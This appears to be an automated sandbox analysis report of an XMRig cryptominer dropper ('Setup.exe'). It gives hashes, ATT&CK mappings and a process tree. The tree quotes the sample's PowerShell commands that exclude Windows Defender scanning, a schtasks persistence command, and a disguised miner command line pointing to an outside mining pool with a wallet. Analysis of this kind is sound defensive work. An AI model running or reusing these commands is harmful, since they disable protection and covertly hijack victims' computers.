xmrig | 643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

Analysis

max time kernel
150s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/12/2024, 17:40

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General

Target

Setup.exe
Size

29.8MB
MD5

f39a0615ad5482c3ffd8f46baeac3ac3
SHA1

e4cd77ab330f734e7a5253c07c559e8c92d88c35
SHA256

643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b
SHA512

fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481
SSDEEP

786432:PkvEnDem3vOYqVx9BvEiI8hXcclLOhiKw+HSD:svEn6mfN4xvcehFs7SD

Score

10^/10

xmrig execution miner

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral2/memory/4480-63-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4480-65-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4480-77-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4480-80-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4480-78-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4480-79-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4480-81-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4480-85-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2752	powershell.exe
2284	powershell.exe
1744	powershell.exe
2140	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4280	services64.exe
4440	sihost64.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3768 set thread context of 4480	3768	conhost.exe	116

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3656	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
228	conhost.exe
2752	powershell.exe
2752	powershell.exe
2284	powershell.exe
2284	powershell.exe
3768	conhost.exe
3768	conhost.exe
1744	powershell.exe
1744	powershell.exe
2140	powershell.exe
2140	powershell.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe
4480	explorer.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	228	conhost.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	3768	conhost.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeLockMemoryPrivilege	4480	explorer.exe
Token: SeLockMemoryPrivilege	4480	explorer.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 4156 wrote to memory of 228	4156	Setup.exe	84
PID 4156 wrote to memory of 228	4156	Setup.exe	84
PID 4156 wrote to memory of 228	4156	Setup.exe	84
PID 228 wrote to memory of 980	228	conhost.exe	85
PID 228 wrote to memory of 980	228	conhost.exe	85
PID 980 wrote to memory of 2752	980	cmd.exe	87
PID 980 wrote to memory of 2752	980	cmd.exe	87
PID 228 wrote to memory of 3324	228	conhost.exe	90
PID 228 wrote to memory of 3324	228	conhost.exe	90
PID 3324 wrote to memory of 3656	3324	cmd.exe	92
PID 3324 wrote to memory of 3656	3324	cmd.exe	92
PID 980 wrote to memory of 2284	980	cmd.exe	93
PID 980 wrote to memory of 2284	980	cmd.exe	93
PID 228 wrote to memory of 1664	228	conhost.exe	96
PID 228 wrote to memory of 1664	228	conhost.exe	96
PID 1664 wrote to memory of 4280	1664	cmd.exe	98
PID 1664 wrote to memory of 4280	1664	cmd.exe	98
PID 4280 wrote to memory of 3768	4280	services64.exe	110
PID 4280 wrote to memory of 3768	4280	services64.exe	110
PID 4280 wrote to memory of 3768	4280	services64.exe	110
PID 3768 wrote to memory of 2040	3768	conhost.exe	111
PID 3768 wrote to memory of 2040	3768	conhost.exe	111
PID 2040 wrote to memory of 1744	2040	cmd.exe	113
PID 2040 wrote to memory of 1744	2040	cmd.exe	113
PID 3768 wrote to memory of 4440	3768	conhost.exe	114
PID 3768 wrote to memory of 4440	3768	conhost.exe	114
PID 2040 wrote to memory of 2140	2040	cmd.exe	115
PID 2040 wrote to memory of 2140	2040	cmd.exe	115
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 3768 wrote to memory of 4480	3768	conhost.exe	116
PID 4440 wrote to memory of 2476	4440	sihost64.exe	118
PID 4440 wrote to memory of 2476	4440	sihost64.exe	118
PID 4440 wrote to memory of 2476	4440	sihost64.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2284
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3324
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3656
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4280
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3768
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
      - C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4440
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:2476
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=44uwibUE5EF8oiYGZWhDJ6YxTYoL8YgzyYw5ofRojJrtZydAndawV157eimKXonkgsi8ZNdvRq22xC6dmxwmq2tpQ4nTUDe --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
23867f73ff39fa0dfee6cfb5d3d176ab

SHA1
8705a09d38e5f0b034a6f4b4deb5817e312204e1

SHA256
f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

SHA512
108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
22310ad6749d8cc38284aa616efcd100

SHA1
440ef4a0a53bfa7c83fe84326a1dff4326dcb515

SHA256
55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

SHA512
2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ef647504cf229a16d02de14a16241b90

SHA1
81480caca469857eb93c75d494828b81e124fda0

SHA256
47002672443e80410e55a0b6d683573ac27d70d803b57ee3c2818d1008669710

SHA512
a6d8c08c708eee6f7e700880ce79d2ba7cd0acbe8529d96e18f3e90ea1f3cf33fd801dd6eba6017cdd02769e968c48278c090c1deeac710124f79423cd862ee1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eh5xsmtp.qgc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\Microsoft\Libs\sihost64.exe

Filesize
32KB

MD5
554b19e8d2cd3728ec5557c08cd2151b

SHA1
7f22b80a8b3a141a93735f4423fda76f914dd92c

SHA256
53b161d512a4cc0e7ad58be8bb5155e37399afe56cd7df38e9f0c4f09bb1cf56

SHA512
46103c9ffb4483107ad0f5b91aba14464747a75a058d2610714f7155e0c014b094de0fb7f40d1515a008f70763131a4b7964d739a2e4381ac38a47755f6938a0

Download Submit
C:\Windows\system32\services64.exe

Filesize
29.8MB

MD5
f39a0615ad5482c3ffd8f46baeac3ac3

SHA1
e4cd77ab330f734e7a5253c07c559e8c92d88c35

SHA256
643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

SHA512
fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481

Download Submit
memory/228-37-0x00007FFAE22D0000-0x00007FFAE2D91000-memory.dmp

Filesize
10.8MB

Download
memory/228-6-0x0000015AC5DD0000-0x0000015AC5DDA000-memory.dmp

Filesize
40KB

Download
memory/228-7-0x00007FFAE22D0000-0x00007FFAE2D91000-memory.dmp

Filesize
10.8MB

Download
memory/228-4-0x0000015AC5DA0000-0x0000015AC5DB2000-memory.dmp

Filesize
72KB

Download
memory/228-32-0x00007FFAE22D3000-0x00007FFAE22D5000-memory.dmp

Filesize
8KB

Download
memory/228-33-0x00007FFAE22D0000-0x00007FFAE2D91000-memory.dmp

Filesize
10.8MB

Download
memory/228-0-0x0000015AC0700000-0x0000015AC24BF000-memory.dmp

Filesize
29.7MB

Download
memory/228-1-0x00007FFAE22D3000-0x00007FFAE22D5000-memory.dmp

Filesize
8KB

Download
memory/228-5-0x00007FFAE22D0000-0x00007FFAE2D91000-memory.dmp

Filesize
10.8MB

Download
memory/228-3-0x0000015AE0680000-0x0000015AE243E000-memory.dmp

Filesize
29.7MB

Download
memory/228-2-0x00007FFAE22D0000-0x00007FFAE2D91000-memory.dmp

Filesize
10.8MB

Download
memory/2476-84-0x000002378E210000-0x000002378E216000-memory.dmp

Filesize
24KB

Download
memory/2476-83-0x000002378C700000-0x000002378C707000-memory.dmp

Filesize
28KB

Download
memory/2752-14-0x000001CCAD8F0000-0x000001CCAD912000-memory.dmp

Filesize
136KB

Download
memory/4480-63-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-77-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-80-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-78-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-79-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-81-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-65-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-66-0x00000000005E0000-0x0000000000600000-memory.dmp

Filesize
128KB

Download
memory/4480-85-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download